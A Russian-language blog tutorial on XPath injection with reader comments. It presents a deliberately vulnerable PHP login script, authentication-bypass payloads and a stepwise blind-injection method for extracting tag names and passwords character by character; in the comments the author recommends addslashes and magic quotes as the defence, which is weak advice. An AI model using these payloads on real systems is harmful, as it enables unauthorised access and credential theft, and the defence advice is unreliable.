Введение в XPath-инъекции

XPath (XML Path Language) – это язык, который предназначен для произвольного обращения к частям XML документа. XML (eXtensible Markup Language) – это всем известный язык разметки, с помощью которого создаются XML документы, имеющие древовидную структуру. Пример простейшего XML документа:

<?xml version="1.0" encoding="UTF-8"?>
<foo>
<bar param="value"/>
</foo>

XPath необходим для получения конкретной информации из XML документов; это достигается путем использования специальных операторов и выражений. Обращение к элементам XML документа с помощью XPath напоминает взаимодействие с файловой системой:
/foo/bar
Этот элементарный XPath-запрос возвратит элемент bar из XML документа выше:

<?xml version="1.0" encoding="UTF-8"?>
<foo>
<bar param="value"/>
</foo>


C другой стороны, XPath похож и на SQL, так как позволяет накладывать условия выборки. Для этого в XPath существуют логические операторы, числовые, строковые и другие функции. Образно говоря, XML документ – это база данных, а XPath – это средство, с помощью которого возможно получить из нее данные. Если провести параллель со SQL, то станет очевидным, что XPath-инъекции во многом похожи на SQL-инъекции. Для обоих типов уязвимостей главным фактором, который позволяет проводить подобного рода инъекции, является недостаточная фильтрация входных данных.
Рассмотрим классический пример: имеется XML документ, в котором хранятся данные пользователей сайта, а также уязвимый скрипт, не проверяющий поступающие от пользователя данные при авторизации:

<?xml version="1.0" encoding="UTF-8"?>
<users>
<user>
<id>0</id>
<login>admin</login>
<password>blah</password>
<firstname>Vasya</firstname>
</user>
<user>
<id>1</id>
<login>user</login>
<password>123</password>
<firstname>LOL</firstname>
</user>
<user>
<id>2</id>
<login>foo</login>
<password>bar</password>
<firstname>FOOBAR</firstname>
</user>
</users>
<?php
$login = $_POST['login'];
$pass = $_POST['pass'];
$xml = simplexml_load_file('users.xml');
// Формируем XPath-запрос
$query = "//users/user[login/text()='$login' and password/text()='$pass']";
// Выполняем его
$result = $xml->xpath($query);
if(!$result)
{
die("User credentials are not correct");
}
$user_data = $result[0];
$id = $user_data->id;
$firstname = $user_data->firstname;
/**/
?>

Переменные login и password никак не проверяются, что позволяет внедрить собственный XPath-запрос в оригинальный. Если в SQL, это было бы нечто вроде abc’ OR 1=1/*, то в XPath всилу того, что в этом языке не предусмотрены символы, обозначающие комментарий, можно успешно обойти авторизацию таким образом:
‘ or 1=1 or ”=’
или еще более простым способом:
‘ or ‘1’=’1
В итоге выполнится следующий запрос и мы успешно пройдем авторизацию:
//users/user[login/text()=admin and password/text()=’‘ or ‘1’=’1′]
Если обход авторизации не был конечной целью атакующего, например ему необходимо было получить исходный пароль администратора, то в этом случае достичь успеха поможет Blind XPath Injection. Дело в том, что в XPath не существует возможности провести UNION как при SQL-инъекциях, поэтому получить строковое или численное значение из XML-документа можно только с помощью техники слепых инъекций. Если Вы знакомы с аналогичной техникой в SQL, то без труда поймете, как данный способ реализовывается в XPath. Напомню лишь, что в основе лежит разделение ответов сервера, одно из которых принимается за истинное, а другое – за ложное, что позволяет судить о правильности и неправильности выполненных запросов.
Следующие функции необходимы или могут участвовать при осуществлении Blind XPath Injection:

  • int count(node-set) возвращает количество элементов в node-set
  • string name([node-set]) возвращает полное имя первого тэга в множестве
  • boolean contains(string, string) возвращает истину, если первая строка содержит вторую, иначе возвращает ложь
  • string substring(string, number, [number]) возвращает строку вырезанную из строки начиная с указанного номера, и если указан второй номер — количество символов
  • int string-length([string]) возвращает длину строки

Этих функций будет вполне достаточно для осуществления полноценной XPath-инъекции. Итак, первое, что необходимо сделать – это узнать количество тэгов, присутствующих в записи каждого пользователя:
‘] | //*[1][count(*)=’1‘] | /foo[bar=’
‘] | //*[1][count(*)=’2‘] | /foo[bar=’
‘] | //*[1][count(*)=’3‘] | /foo[bar=’

Разберем данный запрос.
‘] | //*[1][count(*)=’1′] | /foo[bar=’
этим мы закрываем ранее открытые квадратные скобки, выражения внутри которых позволяют задавать более четкие критерии для элемента, т.е. накладывать условия

‘] | //*[1][count(*)=’1’] | /foo[bar=’
снова открываем, чтобы не возникала ошибка

‘] | //*[1][count(*)=’1′] | /foo[bar=’
выражение между двумя | (логическое или) является основой нашего запроса

‘] | //*[1][count(*)=’1′] | /foo[bar=’
выделяем первый узел из всего XML документа

‘] | //*[1][count(*)=’1′] | /foo[bar=’
выделяем все элементы внутри этого узла

‘] | //*[1][count(*)=’1′] | /foo[bar=’
наше условие

Перебор проводим до тех пор, пока сервер не возвратит нужный ответ. Допустим мы установили, что у каждого пользователя 4 тэга, в которых хранятся их данные. Теперь необходимо получить название каждого тэга (грубо говоря, названия полей, как при SQL-инъекциях). Здесь нам поможет функция name():
‘] | //*[name(*[3])=’password’] | /foo[bar=’
Если сервер возвратит истину, то третий элемент любого узла имеет имя password
‘] | //*[name(*[*])=’password’] | /foo[bar=’
В этом случае, если сервер возвратит истину, то один из элементов любого узла имеет имя password
Получить полные имена тэгов можно с помощью посимвольного перебора:
‘] | //*[1][substring(name(*[1]),1,1)=’a’] | /foo[bar=’
‘] | //*[1][substring(name(*[1]),1,1)=’b’] | /foo[bar=’
‘] | //*[1][substring(name(*[1]),1,1)=’c’] | /foo[bar=’

Стоит отметить, что в XPath не предусмотрена функция, которая переводила бы символы в ASCII-коды, наподобие ORD() или ASCII() в SQL.
Узнав название элемента, получаем его значение:
‘] | //*[1][substring(password,1,1)=’a’] | /foo[bar=’
‘] | //*[1][substring(password,1,1)=’b’] | /foo[bar=’
‘] | //*[1][substring(password,1,1)=’c’] | /foo[bar=’

Как при переборе названий элементов, так и их значений можно предварительно узнать количество символов:
‘] | //*[1][string-length(name(*[1]))=7] | /foo[bar=’
‘] | //*[1][string-length(password)=7] | /foo[bar=’

Таким образом, перебирая названия и значения элементов, мы можем полностью реконструировать исходный XML-документ.

Несмотря на общую схожесть SQL и XPath инъекций, они имеют ряд важных особенностей, во многом отличающие их друг от друга:

  • при XPath-инъекциях необходимо знать лишь общую структуру оригинального запроса, что существенно облегчает атаку, в то время как при некоторых типах SQL-инъекций для удачной атаки нужно полностью знать весь или определенную часть запроса.
  • XPath – это универсальный язык, существует лишь две его разновидности XPath версии 1.0 и 2.0; SQL имеет множество реализаций, особенности каждой из которых необходимо учитывать
  • Модель доступа к элементам XML документа с помощью XPath предполагает обращение к любой его части, однако в SQL атакующий может быть ограничен определенной базой данных или лишен каких-либо привилегий

Спасибо моему другу Kuzya за его великолепную книгу “Методы атак web-приложений“, в которой он доступно осветил данный тип уязвимостей

Рекомендую почитать:


12 comments:

  1. Pento, 11. May 2008, 21:52

    Очень интересные идея и пост.
    Признаться, когда мучал XPath не придал ему большого значения по той причине, что не встречал ни разу его реализаций, да и больно он сложен показался по сравнению хотя бы с тем же SQL.

     
  2. willson, 12. May 2008, 22:17

    а как от этого обезопаситься?

     
  3. Raz0r, 13. May 2008, 13:26

    как и при SQL-инъекциях необходимо экранировать опасные символы, реализуется это с помощью функции addslashes(). Если на сервере включены магические кавычки, то PHP сам добавит бэкслэши и в этом случае провести XPath-инъекцию практически невозможно

     
  4. Shred, 13. June 2008, 18:12

    можно ли определить, сайт использует в качестве хранилища данный какую-либо бд либо хмл? А то можно тытатся найти скуль инжект а на самом деле юзается хмл и наоборот.

     
  5. Raz0r, 15. June 2008, 21:00

    Выяснить тип используемой БД, не имея исходного кода, можно в том случае, если при неверном запросе возникает ошибка PHP. Если же ошибки не выводятся, то определить тип БД можно эвристическим методом, т.е. используя определенные конструкции и выражения, которые используются либо в XPath, либо в SQL.

     
  6. Shred, 1. July 2008, 16:08

    понятно, как всегда методом тыка 🙂
    ну да, если будет скуль ошибка то это уже говорит о том что это скуль бд, но если приложение использует хмл, то возможно оно выдаст при кривом запросе – не могу найти такой-то хмл файл или что в этом роде, если канешно програмер не перехватит это исключение и не подставит свою страничку с эрором, чтобы тяжелей было понять. Кста если есть характерные ошибки для доступа к хмл буду рад если поделишься 🙂

     
  7. Raz0r, 3. July 2008, 23:57

    Если бы таковые имелись обязательно опубликовал бы их в своей статье =) Вообще меня эта тема также очень интересует, правда информации по этому поводу в сети довольно мало

     
  8. Kern, 12. August 2008, 23:13

    Интересно все реализовал на хостинге — даю запрос – не проходит (ничего не фильтруется)
    http://www.*****.ru/users_xml.php?user=test&pass='+or+'1'='1

    В чем дело?

     
  9. Raz0r, 13. August 2008, 22:44

    видимо неправильная реализация, без кода очень трудно сказать в чем именно проблема

     
  10. Kerny, 9. September 2008, 16:42

    Реализация правильная
    // Формируем XPath-запрос
    $query = “//users/user[login/text()=’$user’ and password/text()=’$pass’]”;
    так
    http://www.*****.ru/users_xml.php?user=test&pass=‘ or ‘1’=’1
    – даю такую команду — не катит – правлю код так
    $query = “//users/user[login/text()=’$user’ and password/text()=” or ‘1’=’1′]”;
    даю запрос так
    http://www.*****.ru/users_xml.php?user=test
    все катит!!!

     
  11. Raz0r, 9. September 2008, 20:38

    >даю такую команду — не катит
    как именно не катит?
    вообще у меня предположение, что у вас включена опция magic_quotes_gpc и именно из-за нее ничего не получается

     
  12. Kerny, 12. September 2008, 16:32

    Выключил – все равно не пашет

     

Write a comment: